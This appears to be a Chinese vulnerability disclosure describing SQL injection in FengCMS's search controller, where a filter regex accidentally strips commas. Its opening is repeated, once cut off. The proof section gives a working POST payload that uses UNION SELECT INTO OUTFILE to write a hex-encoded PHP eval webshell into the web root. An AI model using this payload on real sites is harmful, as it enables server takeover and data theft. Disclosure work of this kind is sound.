### 简要描述: 过滤问题导致sql注入 ### 详细说明: app/controller/searchControl.php ``` public function index(){ if($_POST['project']){ if(!$this->project_exist($_POST['project'])){//POST的project直接被放入函数 echo '<script type="text/javascript">alert("参数错误!");history.go(-1)</script>'; } } 。。。 ``` 跟进project_exist函数 ``` public function project_exist($string){ if(D("module")->where('project="'.$string.'" and status=1')->getcount()>0){ //直接把参数带入执行了。 return $string; }else{ return false; } } ``` system/common/filter.php 但是system/app.php中有个全局的过滤: ``` /*------------------ 过滤 ------------------*/ //php 批量过滤post,get敏感数据 if (get_magic_quotes_gpc()) { $_GET= stripslashes_array($_GET); $_POST= stripslashes_array(removexss_array($_POST)); } ``` 没有开启魔术引号时候可以直接注入,但是因为fengcms的报错机制,不现实报错出的内容,这里又没回显,只能盲注了。 如果开启魔术引号,测试发现,我们的逗号会被过滤掉,这下不够顺畅了,跟下removexss_array函数: ``` function removexss_array($array){ if(!is_array($array)) return false; foreach($array as $k => $v){ $arr[$k]= RemoveXSS($v);//跟进RemoveXSS } return $arr; } function...
### 简要描述: 过滤问题导致sql注入 ### 详细说明: app/controller/searchControl.php ``` public function index(){ if($_POST['project']){ if(!$this->project_exist($_POST['project'])){//POST的project直接被放入函数 echo '<script type="text/javascript">alert("参数错误!");history.go(-1)</script>'; } } 。。。 ``` 跟进project_exist函数 ``` public function project_exist($string){ if(D("module")->where('project="'.$string.'" and status=1')->getcount()>0){ //直接把参数带入执行了。 return $string; }else{ return false; } } ``` system/common/filter.php 但是system/app.php中有个全局的过滤: ``` /*------------------ 过滤 ------------------*/ //php 批量过滤post,get敏感数据 if (get_magic_quotes_gpc()) { $_GET= stripslashes_array($_GET); $_POST= stripslashes_array(removexss_array($_POST)); } ``` 没有开启魔术引号时候可以直接注入,但是因为fengcms的报错机制,不现实报错出的内容,这里又没回显,只能盲注了。 如果开启魔术引号,测试发现,我们的逗号会被过滤掉,这下不够顺畅了,跟下removexss_array函数: ``` function removexss_array($array){ if(!is_array($array)) return false; foreach($array as $k => $v){ $arr[$k]= RemoveXSS($v);//跟进RemoveXSS } return $arr; } function RemoveXSS($val) { $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);//其实都是他的错,细心的观众会发现,这里是过滤各种看不见的字符的,我们的逗号去哪了?!仔细看一眼,逗我呢,哪里有用逗号连接我们的正则字符范围呢,逗号在这里是被误伤的。 后面代码省略。。 ``` 好了,没有逗号了,但是这里其他的符号并没有过滤,不需要逗号的sql注入代码一样可以利用,比如高权限直接写webshell到web目录。 ### 漏洞证明: 没有魔术引号时,直接注入: [<img src="https://images.seebug.org/upload/201408/1221034755481e12dbb1d6fcccde722b182b2a12.png" alt="QQ截图20140812210305.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1221034755481e12dbb1d6fcccde722b182b2a12.png) 开启魔术引号,来个写文件吧: http://localhost/?controller=search POST数据:project=1" union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e into outfile 'D:/dedeampz/DedeAMPZ/WebRoot/Default/test.php' %23 [<img src="https://images.seebug.org/upload/201408/12211143ee7160db5d307f168f5c0f1008703aa2.png" alt="QQ截图20140812211114.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/12211143ee7160db5d307f168f5c0f1008703aa2.png) 连接一下: [<img src="https://images.seebug.org/upload/201408/12211235d42b8e5b61c4db21a2be6b14f848fa61.png" alt="QQ截图20140812211207.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/12211235d42b8e5b61c4db21a2be6b14f848fa61.png) 我感觉应该有不使用逗号的其他利用方法。